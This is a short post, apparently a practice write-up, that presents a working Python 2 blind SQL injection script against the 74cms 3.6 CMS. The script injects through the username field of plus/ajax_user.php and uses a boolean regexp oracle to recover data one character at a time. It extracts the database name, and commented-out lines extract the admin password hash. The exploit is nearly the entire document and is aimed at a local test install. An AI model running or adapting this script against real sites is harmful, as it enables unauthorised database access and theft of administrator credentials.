漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

# -*- coding:utf-8 -*-
# -*- By Thinking -*-
import requests
import string
Url = "http://127.0.0.1/74cms/plus/ajax_user.php"
dic = string.letters + string.digits + '_'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Content-Type': 'application/x-www-form-urlencoded',
          }
postData = "username=a'or %s and '1'='1&act=get_pass_check"
def getLen(Url,Sql):
    sqli =Sql
    for Len in xrange(32):
        payload = '(' + sqli + ')' + '=' + str(Len)
        url =Url
        data = postData %(payload)
        # print data
        rq = requests.post(url, headers=header,data=data)
        if len(rq.content) == 4:
            print 'Length is : ', Len
            return Len
def getData(Url,Sql,Len):
    sqli = Sql
    temp = ''
    for i in xrange(Len):
        for x in dic:
            X = temp + x
            payload = "(select("+ sqli + ")regexp binary '^%s')" %(X)
            url = Url
            data = postData %(payload)
            # print data
            rq = requests.post(url, headers=header,data=data)
            if len(rq.content) == 4:
                temp = temp + x
                print temp
                break
    print 'Data is : ', temp
    return temp
if __name__=="__main__":
    # GetLenSQL = 'select length(pwd_hash) from qs_admin where admin_id=1' # 引号内写入想要查询的SQL语句即可。
 # Length = getLen(Url, GetLenSQL)
    # GetDataSQL = 'select pwd_hash from qs_admin where admin_id=1'        # 引号内写入想要查询的SQL语句即可
    GetLenSQL = 'select length(database())' # 引号内写入想要查询的SQL语句即可
    Length = getLen(Url, GetLenSQL)
    GetDataSQL = 'select database()'        # 引号内写入想要查询的SQL语句即可
    Data = getData(Url, GetDataSQL, Length)